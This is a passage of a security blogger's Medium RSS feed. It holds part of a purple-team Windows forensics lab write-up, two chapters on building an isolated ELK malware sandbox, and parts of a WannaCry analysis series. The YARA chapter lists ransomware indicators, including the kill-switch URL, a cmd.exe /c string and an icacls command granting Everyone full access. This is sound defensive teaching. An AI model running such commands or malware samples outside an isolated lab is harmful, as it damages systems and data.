<em>first</em> execution, while Prefetch updates on <em>last</em> execution).</li><li><strong>B4 (</strong><strong>net share; net session):</strong> NET1.EXE-509326A5.pf (10:15:25.846Z) and NET.EXE-A0964F30.pf (10:15:25.848Z) fired <strong>2 ms</strong> apart. net.exe always spawns net1.exe under the hood—if your detection rule only watches net.exe, attackers calling net1.exe directly will walk right past it.</li></ul><h3>7.7 C1–C3: Obfuscation, Staging, and Separating C2 from Exfiltration</h3><ul><li><strong>C1:</strong> Decoding the UTF-16LE Base64 string from -EncodedCommand revealed Write-Output &quot;Lab-C1-Telemetry-Test&quot;, cleanly captured in PowerShell Event ID 4104.</li><li><strong>C3:</strong> The Invoke-WebRequest POST to 192.168.122.21:8888/health shared the exact same destination IP and port as the Sandcat C2 channel. Network-level IP/port rules cannot tell them apart; you need <strong>process (</strong><strong>powershell.exe vs </strong><strong>splunkd.exe) + URI (</strong><strong>/health) + HTTP method (</strong><strong>POST)</strong> correlation.</li></ul><h3>8. C4 Deep Dive: Missing in $MFT and Sysmon EVTX, Caught by $UsnJrnl:$J</h3><p>This was easily the most valuable DFIR lesson of the entire lab.</p><h3>8.1 What Happened</h3><ul><li>In <strong>C2</strong>, I created C:\Users\Public\lab_staging\, wrote notes.txt, and compressed it into bundle.zip.</li><li>In <strong>C4</strong>, I recursively deleted the entire lab_staging folder.</li><li>When I searched Windows.NTFS.MFT (222,519 records) and the parsed Sysmon EVTX logs (EvtxECmd), lab_staging, notes.txt, and bundle.zip returned <strong>zero hits</strong>.</li><li>Yet when I parsed <strong>$Extend\$J</strong> with MFTECmd, every single create, write, and delete event was sitting right there.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D6TactlMS69XgvpZb5SVdg.png" /><figcaption>Image-7 (Evidence in the $J)</figcaption></figure><h3>8.2 Two Technical Reasons Behind This Blind Spot</h3><p>1.<strong> MFT Record Reuse (Slot Overwrite):</strong></p><ul><li>When a file is deleted, NTFS marks its $MFT slot as unallocated (InUse = False). Because Windows 11 generates heavy background disk activity (Defender scans, telemetry, and KAPE collection itself), those freed MFT slots were quickly reallocated and overwritten by newer files. Since notes.txt was tiny, its content lived as <em>resident data</em> inside the MFT record—once the slot was overwritten, both the metadata and content vanished from $MFT.</li></ul><p>2. <strong>Sysmon Config Filtering (SwiftOnSecurity Exclusions):</strong></p><ul><li>Even though Sysmon was running, the <strong>SwiftOnSecurity</strong> configuration aggressively filters FileCreate (Event ID 11) and FileDelete (Event ID 23/26) to high-risk extensions and folders (.exe, .dll, .ps1, AppData, etc.) to prevent log flooding. Standard .txt and .zip files in that path fell outside the inclusion rules, so Sysmon never logged them.</li></ul><h3>8.3 Why $J Saved the Investigation</h3><p>The NTFS Update Sequence Number Journal ($UsnJrnl:$J) is a kernel-level, append-only circular log that records every filesystem change (FILE_CREATE, DATA_EXTEND, FILE_DELETE, CLOSE) regardless of Sysmon rules. By taking the FileMFTID from $J and looking up that same record number in $MFT, you can even prove <strong>MFT slot reuse</strong>—showing that the slot once held bundle.zip before being reassigned to another system file.</p><h3>9. Key Takeaways for Purple Teams &amp; Detection Engineers</h3><ol><li><strong>Live Snapshots Miss Ephemeral Commands:</strong> pslist and netstat only capture what is running at that exact millisecond. Process creation telemetry (Sysmon Event ID 1 / Security 4688 with command-line auditing) is mandatory.</li><li><strong>Amcache ≠ Prefetch:</strong> Amcache tracks <em>first seen</em>, while Prefetch tracks <em>last run</em> and execution counts.</li><li><strong>Behavioral Rules Beat Static Hashes:</strong> Dynamic agent compilation renders hash IOCs useless. Hunt for unsigned binaries running out of writable public paths like C:\Users\Public\.</li><li><strong>Hunt Persistence in Pairs:</strong> Watch Run keys alongside RunNotification\StartupTNoti*, and scheduled tasks alongside System32\Tasks\ XML files and TaskCache registry entries.</li><li><strong>Use </strong><strong>$UsnJrnl:$J to Cover Sysmon Exclusions:</strong> When tuning Sysmon to reduce noise creates file-monitoring blind spots, $J bridges the forensic gap.</li><li><strong>Filter Out Your Own Tooling Noise:</strong> Velociraptor spawns powershell.exe -ExecutionPolicy Unrestricted under SYSTEM when collecting certain artifacts. Always check the parent process (Velociraptor.exe) before raising an alert.</li></ol><h3>10. Limitations</h3><ul><li><strong>Multi-Snapshot Timelines:</strong> Because artifacts were gathered across clean snapshot reverts, timestamps across different sections represent isolated scenario runs rather than a single continuous wall-clock timeline.</li><li><strong>Amcache Fields:</strong> Windows.Detection.Amcache returned empty EntryName fields on several rows, requiring correlation via EntryKey and SHA1.</li><li><strong>Benign Scope:</strong> All abilities were designed for safe telemetry generation and intentionally excluded destructive payloads or LSASS memory dumping.</li></ul><h3>Appendix A: MITRE ATT&amp;CK Quick Reference</h3><pre>ID  | Technique ID        | MITRE ATT&amp;CK Technique                      | Tactic<br>----+---------------------+---------------------------------------------+------------------<br>A1  | T1082               | System Information Discovery                | Discovery<br>A2  | T1016               | System Network Configuration Discovery      | Discovery<br>A3  | T1547.001           | Registry Run Keys / Startup Folder          | Persistence<br>A4  | T1053.005           | Scheduled Task                              | Persistence<br>B1  | T1033               | System Owner/User Discovery                 | Discovery<br>B2  | T1012               | Query Registry                              | Discovery<br>B3  | T1083 / T1552.001   | File Discovery / Credentials in Files       | Credential Access<br>B4  | T1135 / T1049       | Network Share &amp; Connections Discovery       | Discovery<br>C1  | T1059.001, T1027.010| PowerShell &amp; Command Obfuscation            | Defense Evasion<br>C2  | T1074.001, T1560    | Local Data Staging &amp; Archive Collected Data | Collection<br>C3  | T1048.003           | Exfiltration Over Unencrypted Protocol      | Exfiltration<br>C4  | T1070.004           | Indicator Removal: File Deletion            | Defense Evasion</pre><h4>Thank you for reading.</h4><p>I hope you found this work useful.</p><p><a href="https://www.linkedin.com/in/abdulkadir-sadi/">https://www.linkedin.com/in/abdulkadir-sadi/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ebb180114e09" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Elastic Security Sandbox Installation & Usage — Chapter 2: Dynamic Malware Analysis with ELK…]]></title>
            <link>https://medium.com/@abdulkadirsady/elastic-security-sandbox-installation-usage-chapter-2-dynamic-malware-analysis-with-elk-938e1ac92b80?source=rss-c1e14e9a443d------2</link>
            <guid isPermaLink="false">https://medium.com/p/938e1ac92b80</guid>
            <category><![CDATA[elastic-security]]></category>
            <category><![CDATA[dynamic-malware-analysis]]></category>
            <category><![CDATA[cybersecurity-tools]]></category>
            <category><![CDATA[elk-stack]]></category>
            <category><![CDATA[endpoint-detection]]></category>
            <dc:creator><![CDATA[Abdulkadir Sadi]]></dc:creator>
            <pubDate>Mon, 06 Oct 2025 15:25:11 GMT</pubDate>
            <atom:updated>2025-10-06T15:25:11.321Z</atom:updated>
            <content:encoded><![CDATA[<h3>Elastic Security Sandbox Installation &amp; Usage — Chapter 2: Dynamic Malware Analysis with ELK Security</h3><h3>Introduction</h3><p>In the previous section, we set up an isolated environment for malware analysis. In this section, we’ll install the ELK stack components and demonstrate how to perform dynamic malware analysis using this setup.</p><p><strong><em>These installations are shown for Debian packages.</em></strong></p><h3>ELK Stack</h3><p>The ELK Stack is a general architecture for collecting and visualizing logs. Its overall structure is as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*lOXL1RAFcqtl6T53cAT4Cg.png" /><figcaption>Image-1</figcaption></figure><p>From the components shown in the image:</p><p><strong>Beats:</strong> Think of Beats as the heartbeat agents of your system. We install small agents on servers, devices, or applications, and they collect data, package it, and send it to Logstash or Elasticsearch. There are different types of Beats, for example:</p><ul><li><strong>Filebeat</strong> → Collects log files (e.g., /var/log/syslog).</li><li><strong>Metricbeat</strong> → Sends system metrics like CPU, RAM, and disk usage.</li><li><strong>Packetbeat</strong> → Monitors network traffic.</li><li><strong>Winlogbeat</strong> → Retrieves Windows event logs.</li></ul><p><strong>Logstash:</strong> Beats send the data, but it’s raw. Logstash processes this raw data. Think of it like a kitchen: it chops, filters, adds “spices,” and finally serves the data to Elasticsearch.<br> Logstash works on an <strong>“input → filter → output”</strong> logic:</p><ul><li><strong>Input:</strong> Specifies where to get the data from (e.g., Beats).</li><li><strong>Filter:</strong> Processes and structures the data (e.g., parsing IP, timestamp, user-agent).</li><li><strong>Output:</strong> Determines where to send the processed data (e.g., Elasticsearch).</li></ul><p>In Logstash, we write pipelines to make the data clean, meaningful, and ready for analysis.</p><p><strong>Elasticsearch:</strong> Once Logstash processes the data, it’s time to store it. Elasticsearch is the heart of the system. All data is stored, searched, and filtered here. We can query massive volumes of logs in milliseconds.</p><ul><li>Elasticsearch is <strong>NoSQL-based</strong> and stores data in <strong>indexes</strong>.</li><li>An index is essentially a collection of logs organized by time or type.</li></ul><p>With Elasticsearch, we can:</p><ul><li>Search logs instantly.</li><li>Filter and correlate events.</li><li>Relate different incidents.</li></ul><p>In short, it forms the “brain” of the entire system.</p><p><strong>Kibana:</strong> And now for the visual side. Kibana is the interface where we analyze and visualize the data in Elasticsearch. Graphs, tables, dashboards — all come alive here.<br> With Kibana, we can:</p><ul><li>Search and filter logs.</li><li>Build dashboards.</li><li>Set alerts and track events.</li></ul><p>In other words, it’s the place where we interact with the data and see <strong>“what’s happening in the system”</strong> in real time.</p><h3>Installations</h3><p>Now that we have a clear understanding of the architecture, we can move on to the installation steps.</p><h4>Elasticsearch Installation</h4><p>First, we move on to installing <strong>Elasticsearch</strong>, the core component of the system. To do this, open a terminal on your Ubuntu machine and enter the following commands in sequence:</p><pre>sudo apt-get install apt-transport-https<br>curl -fsSL https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo gpg --dearmor -o /usr/share/keyrings/elastic.gpg<br>echo &quot;deb [signed-by=/usr/share/keyrings/elastic.gpg] https://artifacts.elastic.co/packages/9.x/apt stable main&quot; | sudo tee /etc/apt/sources.list.d/elastic-9.x.list <br>sudo apt update &amp;&amp; sudo apt install elasticsearch -y</pre><p>Once the installation is complete, it provides us with the <strong>Elastic built-in superuser password</strong> and a set of commands, as shown in the image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*I1uVX-uAOim7qlOTmxXBWA.png" /><figcaption>Image-2</figcaption></figure><p>Next, we create an override.conf file at /etc/systemd/system/elasticsearch.service.d/ and add the following content to it:</p><pre>[Service]<br>LimitMEMLOCK=infinity<br>Environment=ES_TMPDIR=/usr/share/elasticsearch/tmp</pre><p>Next, execute the following commands:</p><pre>sudo mkdir -p /usr/share/elasticsearch/tmp<br>sudo chown elasticsearch:elasticsearch /usr/share/elasticsearch/tmp<br>sudo chmod 750 /usr/share/elasticsearch/tmp</pre><p>Then, open the Elasticsearch configuration file by running:</p><pre>sudo nano /etc/elasticsearch/elasticsearch.yml</pre><p>and add the following settings inside the file:</p><pre>path.data: /var/lib/elasticsearch<br>path.logs: /var/log/elasticsearch<br>network.host: 10.0.20.20<br>http.port: 9200<br>discovery.type: single-node<br>xpack.security.enabled: true<br>xpack.security.enrollment.enabled: false<br>xpack.security.http.ssl:<br>  enabled: false<br>xpack.security.transport.ssl:<br>  enabled: false</pre><p>Lastly, execute the following commands:</p><pre>sudo systemctl daemon-reload<br>sudo systemctl enable elasticsearch.service<br>sudo systemctl start elasticsearch.service</pre><h4>Kibana Installation</h4><p>Now, to download <strong>Kibana</strong>, the visual interface we’ll use for analysis, run the following command:</p><pre>sudo apt install kibana</pre><p>Next, to set a password for the <strong>kibana_system</strong> user, run the following command:</p><pre>sudo /usr/share/elasticsearch/bin/elasticsearch-reset-password -u kibana_system </pre><p>Now, to generate Kibana’s encryption keys, run the following command:</p><pre>sudo /usr/share/kibana/bin/kibana-encryption-keys generate</pre><p>Next, to complete the Kibana configuration, open the configuration file by running:</p><pre>sudo nano /etc/kibana/kibana.yml</pre><p>and add the following settings inside the file:</p><pre>server.port: 5601<br>server.host: &quot;10.0.20.20&quot;<br>elasticsearch.hosts: [&quot;http://10.0.20.20:9200&quot;]<br>elasticsearch.username: &quot;kibana_system&quot;<br>elasticsearch.password: &quot;the password we created&quot;<br>logging:<br>  appenders:<br>    file:<br>      type: file<br>      fileName: /var/log/kibana/kibana.log<br>      layout:<br>        type: json<br>  root:<br>    appenders:<br>      - default<br>      - file<br>pid.file: /run/kibana/kibana.pid<br>xpack.encryptedSavedObjects.encryptionKey: key1<br>xpack.reporting.encryptionKey: key2<br>xpack.security.encryptionKey: key3</pre><p>Finally, run the following commands to ensure the service is up and running:</p><pre>sudo systemctl daemon-reload<br>sudo systemctl enable kibana.service<br>sudo systemctl start kibana.service<br>sudo systemctl status kibana.service</pre><p>Let’s reset the password for the <strong>Elastic built-in</strong> user:</p><pre>sudo /usr/share/elasticsearch/bin/elasticsearch-reset-password -u elastic </pre><p>We note down the generated password to log in to the system. Then, open a browser and go to <a href="http://10.0.20.20:5601/"><strong>http://10.0.20.20:5601</strong></a>, and log in using the <strong>elastic</strong> user and the password we created.</p><p>After logging in, you’ll be greeted by a page prompting you to <strong>“Add Integrations.”:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*mqm3jPcl8IqXj_2M7WPwwQ.png" /><figcaption>Image-3</figcaption></figure><p>Before adding integrations, it’s a good idea to create a new user with the permissions you need and log in with that account. The <strong>elastic</strong> user has fixed privileges, and being on the default account can prevent you from performing certain actions.</p><p>Once that’s done, we can continue from where we left off by clicking <strong>Add Integration</strong> and proceed to set up the <strong>Fleet Server:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*IZJ5FcHNoiBXVZKkXVk4Cw.png" /><figcaption>Image-4</figcaption></figure><p>After clicking <strong>Install</strong>, click <strong>Add</strong>. Here, provide an <strong>Integration Name</strong> and a <strong>Policy Name</strong>, then continue:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*MGWQzHjptte5HeJ6Qa6Ysw.png" /><figcaption>Image-5</figcaption></figure><p>Next, on this screen, click <strong>Add Agent</strong> and choose the type of device you want to monitor. Copy the provided commands and install the agent on the desired host.</p><p>When the agent is first installed, it only has the <strong>System Integration</strong> enabled. To collect specific data, you can add integrations such as <strong>Windows</strong> depending on what you want the agent to monitor.</p><p>To give the agent <strong>EDR capabilities</strong>, go to the <strong>Agent Policy</strong> you created, click <strong>Add Integrations</strong> there, and select <strong>Elastic Defend:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*Mhhf3HZCzy5Eoxy_A7t62g.png" /><figcaption>Image-6</figcaption></figure><p>Here, give it a name and click <strong>Add Integration</strong> to include it. During creation, you can choose whether it behaves like an <strong>EDR agent</strong> or only has <strong>data collection</strong> capabilities.</p><ul><li>If you select <strong>EDR</strong>, you’ll get active responses to dangerous situations.</li><li>If you choose <strong>Data Collection</strong>, it only generates logs.</li></ul><p>To better demonstrate <strong>behavioral analysis</strong>, I’ll install the agent with <strong>Data Collection</strong> so it won’t immediately remove the malware I plan to run.</p><p>Additionally, after adding the integration, you can click the <strong>three dots</strong> next to it and select <strong>Edit Integration</strong> to further customize its settings:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*doVIS6EyGgvvnIUr_8e_Ag.png" /><figcaption>Image-7</figcaption></figure><p>Here I’ve set the malware protection to “Detect” mode:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*Wjn_cpcjkWwOcLfCt-nomw.png" /><figcaption>Image-8</figcaption></figure><p>I then scrolled to the very bottom and selected Elastic as the primary antivirus. These settings are entirely optional.</p><p>Now our whole setup is complete. Next, let’s run a sample piece of malware and observe how it’s tracked within the system. As with the initial setup, make sure your environment is isolated.</p><p>For testing, you can download any malware sample from MalwareBazaar. As you can see, after running the sample I used, Elastic generated an alert on the Windows system:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*XzyVMm5NAcfvvNHea6blTQ.png" /><figcaption>Image-9</figcaption></figure><p>We also see that an alert has been triggered on the <strong>Kibana</strong> side:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*mgbjq1AxBkVao12q9FLYaQ.png" /><figcaption>Image-10</figcaption></figure><p>When we click on the alert and select <strong>“Analyze event”</strong>, we can view the <strong>process tree</strong> structure as shown:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*ULmLqm0E8YL-2INT-c9CYA.png" /><figcaption>Image-11</figcaption></figure><p>From here we can obtain a wealth of detailed information about the executed file and the processes it spawned, such as timestamps, file paths, and more.</p><h3>Conclusion</h3><p>Thus, we’ve learned how to set up our ELK Security sandbox and how to perform behavioral analysis using this setup. <br>Thank you for reading, stay well.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=938e1ac92b80" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Elastic Security Sandbox Installation & Usage — Chapter 1 : Sandbox Setup]]></title>
            <link>https://medium.com/@abdulkadirsady/elastic-security-sandbox-installation-usage-chapter-1-sandbox-setup-38c197036d3c?source=rss-c1e14e9a443d------2</link>
            <guid isPermaLink="false">https://medium.com/p/38c197036d3c</guid>
            <category><![CDATA[sandbox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[vmware]]></category>
            <category><![CDATA[elk-stack]]></category>
            <dc:creator><![CDATA[Abdulkadir Sadi]]></dc:creator>
            <pubDate>Mon, 06 Oct 2025 14:39:52 GMT</pubDate>
            <atom:updated>2025-10-06T14:39:52.143Z</atom:updated>
            <content:encoded><![CDATA[<h3>Elastic Security Sandbox Installation &amp; Usage — Chapter 1 : Sandbox Setup</h3><h3>Introduction</h3><p>Everyone working in cybersecurity will inevitably cross paths with sandboxes sooner or later. There are many types of sandboxes on the market, and today we’ll focus on one of them: the Elastic Security Sandbox. With ELK, when you have a suspicious file that needs investigation, you can set up a sandbox and run the file to perform behavioral analysis in a very short time. Normally, building a sandbox full of tools for malware analysis can take a considerable amount of time.</p><p>Although ELK’s cloud service can give us this environment in minutes, in this article I’ll explain how to create a sandbox on VMware and how to install and configure it locally on Debian-based systems. Once you know the steps, the process doesn’t take long.</p><h4>What is Sandbox?</h4><p>A sandbox is a security mechanism that allows potentially harmful software, files, or code to be executed in a safe and isolated environment. Thanks to its isolated structure, it prevents suspicious files from causing any harm to the actual system while allowing their behavior to be safely observed.</p><h3>Creating the Isolated System</h3><p>There are several methods that can be used to create an isolated environment, and the configurations I’ll demonstrate using VMware are just one of them.</p><h4>Virtual Network Configurations</h4><p>The network structure we’ll build by following the steps I’ll show is illustrated as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*VUBLoyZbM65AZ0ad4PDh0w.png" /><figcaption>Image-1</figcaption></figure><p>To create this network structure, the VMnet configurations shown in the image must first be set up through the <strong>Virtual Network Editor:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*GP8lHjZ3epBaBMb3bcxLlw.png" /><figcaption>Image-2</figcaption></figure><p>The reasons and characteristics of each network are as follows:</p><p><strong>VMnet2 — Isolated ELK Communication Network</strong></p><ul><li><strong>Full Isolation:</strong> This network never connects to the internet.</li><li><strong>Secure Data Transfer:</strong> Safely carries malware log data.</li><li><strong>ELK Stack Communication:</strong> Provides a communication flow of “Beats &amp; Agent → Elasticsearch → Kibana.”</li><li><strong>Host Protection:</strong> Completely isolates the host system from any potential malware impact.</li></ul><p><strong>VMnet3 — Controlled Internet Network for Windows</strong></p><ul><li><strong>Malware Traffic Observation:</strong> Allows monitoring of malware’s internet-based behaviors.</li><li><strong>Controlled Internet Access:</strong> Provides filtered internet access through Ubuntu. All traffic passes through Ubuntu and is logged.</li></ul><p><strong>VMnet8 — Ubuntu Internet Network</strong></p><ul><li><strong>NAT:</strong> Provides main internet access for the sandbox.</li><li><strong>Outbound Only:</strong> Allows only outbound connections.</li></ul><h4>Ubuntu Network Configurations</h4><p>First, on the Ubuntu machine, open the terminal and type</p><pre>sudo nano /etc/netplan/50-cloud-init.yaml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*hN-YZVjW0nB_dSq9rioIXw.png" /><figcaption>Image-3</figcaption></figure><p>By doing this, we assign static IP addresses to ensure stable communication between the components. Since <strong>VMnet8</strong> only serves the purpose of providing internet access, it doesn’t need to have a static IP address.</p><p>Next, we run the following commands to set up <strong>IP forwarding</strong> and <strong>UFW rules</strong>:</p><pre># Enable IP forwarding<br>echo &#39;net.ipv4.ip_forward=1&#39; | sudo tee -a /etc/sysctl.conf<br>sudo sysctl -p<br><br>sudo iptables -t nat -A POSTROUTING -s 10.0.30.0/24 -o ens33 -j MASQUERADE<br><br># Forwarding Rules<br>sudo iptables -A FORWARD -i ens38 -o ens33 -j ACCEPT<br>sudo iptables -A FORWARD -i ens33 -o ens38 -m state --state RELATED,ESTABLISHED -j ACCEPT<br><br># Make the Rules Permanent<br>sudo apt install iptables-persistent<br>sudo netfilter-persistent save<br><br># UFW Rules<br>sudo ufw default deny incoming<br>sudo ufw default deny forward <br>sudo ufw default allow outgoing <br><br>sudo ufw allow from 10.0.20.0/24 to any port 9200 # Add the ports your system requires in the same way, line by line.<br><br># Forward traffic from Windows <br>sudo ufw route allow in on ens38 out on ens33 <br>sudo ufw route allow in on ens33 out on ens38  </pre><p>In this way, we’ve configured the traffic as shown in <strong>Image-1</strong>.</p><h4>Windows Network Configurations</h4><p>Now, after connecting <strong>VMnet2</strong> and <strong>VMnet3</strong> to Windows, we first configure <strong>VMnet3</strong> manually as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*kghpCPUP1HKUhEIyKwn0aw.png" /><figcaption>Image-4</figcaption></figure><p>Next, we manually configure <strong>VMnet2</strong> as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*8F_vwGOptjUV6Zb9O5QkoQ.png" /><figcaption>Image-5</figcaption></figure><p>Since this is an isolated network, the gateway and DNS addresses can be assigned arbitrarily.</p><h3>Conclusion</h3><p>In this section, we set up an isolated network for our sandbox on VMware. In the next section, we’ll dive into the ELK stack and explore how to perform dynamic malware analysis using this setup.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=38c197036d3c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introduction to Malware Analysis Chapter-5]]></title>
            <link>https://medium.com/@abdulkadirsady/introduction-to-malware-analysis-chapter-5-2fe52ab87b21?source=rss-c1e14e9a443d------2</link>
            <guid isPermaLink="false">https://medium.com/p/2fe52ab87b21</guid>
            <dc:creator><![CDATA[Abdulkadir Sadi]]></dc:creator>
            <pubDate>Sun, 14 Sep 2025 18:52:11 GMT</pubDate>
            <atom:updated>2025-09-14T18:52:11.965Z</atom:updated>
            <content:encoded><![CDATA[<p>In the previous sections, we conducted a detailed static and dynamic analysis of the malware. In this final part of the series, I will demonstrate how to create a <strong>YARA rule</strong> using the IOCs collected in the earlier sections.</p><h3>Writing a YARA Rule</h3><p><strong>YARA</strong> (Yet Another Ridiculous Acronym) is a static analysis tool used to detect specific patterns (such as strings, hex, or opcodes) within files. It is one of the most powerful tools for malware hunters, particularly for signature-based detection in PE files.</p><p>Each YARA rule consists of the following sections:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*vOLADQ1y6JCOl5BsD19U-A.png" /><figcaption>Image-1</figcaption></figure><ul><li><strong>rule:</strong> Begins with the name of the rule.</li><li><strong>meta:</strong> Contains descriptive information about the rule.</li><li><strong>strings:</strong> Defines the text, hex, or regex patterns to search for.</li><li><strong>condition:</strong> Specifies the conditions under which a match occurs.</li></ul><p>The example signatures found are as follows:</p><ol><li>Mssecsvc2.0</li><li>%s –m security</li><li>C:%s\qeriuwjhrf</li><li>Tasksche.exe</li><li><a href="http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/">http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com</a></li><li>CrypyGenKey</li><li>CryptEncrypt</li><li>Cmd.exe /c “%s”</li><li>Icacls . /grant Everyone:F /T /C /Q</li><li>WanaCrypt0r</li></ol><p>To start writing the rule, create a file with a <strong>.yar</strong> or <strong>.yara</strong> extension. Then, write the rule as shown in the image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*OTHJt6T9TWhFdO1r1cZwyA.png" /><figcaption>Image-2</figcaption></figure><p>Specifying <strong>ascii</strong> next to the URL string instructs YARA to read this string as ASCII. By default, YARA searches strings in both ASCII and UTF-16 formats, so this ensures it searches only in ASCII.</p><p>In the <strong>condition</strong> section, the phrase <strong>any of them</strong> means a match occurs if at least one of the defined strings is found. You could also use <strong>all of them</strong> or specify a condition like <strong>($s1 or $s2 …)</strong>.</p><p>To apply the rule, download <strong>yara64.exe</strong> from the provided link and run the command in the console:</p><pre>yara64.exe -r my_rule.yar C:\TargetFolder</pre><h3>Conclusion</h3><p>In all five sections of this series, I tried to simulate and explain malware analysis. I hope you found the series useful.</p><p>Thank you for reading,</p><p><em>Abdulkadir Sadi</em>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2fe52ab87b21" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introduction to Malware Analysis Chapter-4]]></title>
            <link>https://medium.com/@abdulkadirsady/introduction-to-malware-analysis-chapter-4-d96625fb2348?source=rss-c1e14e9a443d------2</link>
            <guid isPermaLink="false">https://medium.com/p/d96625fb2348</guid>
            <category><![CDATA[triage]]></category>
            <category><![CDATA[dynamic-analysis]]></category>
            <category><![CDATA[malware-traffic-analysis]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Abdulkadir Sadi]]></dc:creator>
            <pubDate>Sun, 14 Sep 2025 18:51:50 GMT</pubDate>
            <atom:updated>2025-09-14T18:51:50.475Z</atom:updated>
            <content:encoded><![CDATA[<p>In the static analysis section, we gathered as much information as possible about the malware without executing it. In this section, we will run the malware and perform <strong>behavioral analysis</strong> to make more comprehensive observations.</p><h3>Dynamic Analysis</h3><p>In the static analysis disassembly phase, we observed that a connection test is performed to <a href="http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/"><strong>http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com</strong></a>. If the connection succeeds, the program exits; if it fails, it continues its execution.</p><p>For the dynamic test scenario, we will first run the program with INetSim running, both with normal and administrator privileges, and then run it with INetSim off, again with normal and administrator privileges, while monitoring the resulting processes and network traffic.</p><p>Before performing any of these steps, taking a <strong>snapshot</strong> is critically important.</p><p>To start the dynamic analysis process, we first create a fake internet environment by running <strong>INetSim</strong> on REMnux.</p><p>To do this, type <strong>inetsim</strong> and press Enter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*LMm8dPs9y0jp2QquF8O_Aw.png" /><figcaption>Image-1</figcaption></figure><p>During the network configuration phase, the DNS service was enabled, and as expected, it is now running. Next, open a new terminal on REMnux and start <strong>Wireshark</strong> with the command:</p><pre>sudo wireshark</pre><p>Then, open the <strong>Procmon</strong> tool on the Windows machine. Here, enable the filtering feature and add the following filters: <strong>Process Name is Ransomware.wannacry.exe</strong> and <strong>Operation Contains file:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*1dULt2lMpzImzfkVVOflZw.png" /><figcaption>Image-2</figcaption></figure><p>Then, double-click the program to run it with normal user privileges. No cryptographic operations are observed on the Windows machine. The Wireshark screen appears as shown in the image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*Tmm46hJi3BGkdqebUDBVUw.png" /><figcaption>Image-3</figcaption></figure><p>Examining the HTTP protocol content, we can see that a request is sent to the previously identified address:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*ahZETvVpOBe6zhOaNbFR3g.png" /><figcaption>Image-4</figcaption></figure><p>Running the program with INetSim on and administrator privileges, and with INetSim off and normal privileges, yields no additional findings. However, when INetSim is off and the program is run with administrator privileges, the software executes its functions.</p><p>To analyze this, close INetSim, keep <strong>Wireshark</strong> running on REMnux, and open <strong>Procmon</strong> and <strong>TCPView</strong> on the Windows machine. Then run the software as an administrator to begin the analysis.</p><p>First, in the <strong>TCPView</strong> screen, we can see that the software’s <strong>mssecsvc2.0</strong> service is scanning other networks like a worm. This service was identified during static analysis:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*wJdNmYT35iJxx1FtK6IAcw.png" /><figcaption>Image-5</figcaption></figure><p>In the Wireshark screen, we can see that the machine at <strong>10.0.0.4</strong> is querying all other IP addresses on the network:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*1c-IENZxHIZBXacJV5NJMA.png" /><figcaption>Image-6</figcaption></figure><p>In the Procmon screen, with the process name set to the malware and the operation filter set to file, we can see that the <strong>tasksche.exe</strong> file identified during static analysis is created under the <strong>C:\WINDOWS</strong> directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*ToDbj1VrWQ4OsfaWkDiZjg.png" /><figcaption>Image-7</figcaption></figure><p>Opening the process tree from the top tab, we can see the <strong>Ransomware.wannacry.exe</strong> and <strong>tasksche.exe</strong> processes with PID values of 7148 and 5944, respectively:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*PmnPxL47X3trPA9ZFEDefQ.png" /><figcaption>Image-8</figcaption></figure><p>To observe the child processes created by these processes, remove the previously set filters and add new filters with the <strong>parent ID</strong> set to these two PIDs:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*pRyNkWBVkuWOVn4TMakOxg.png" /><figcaption>Image-9</figcaption></figure><p>Upon examining the 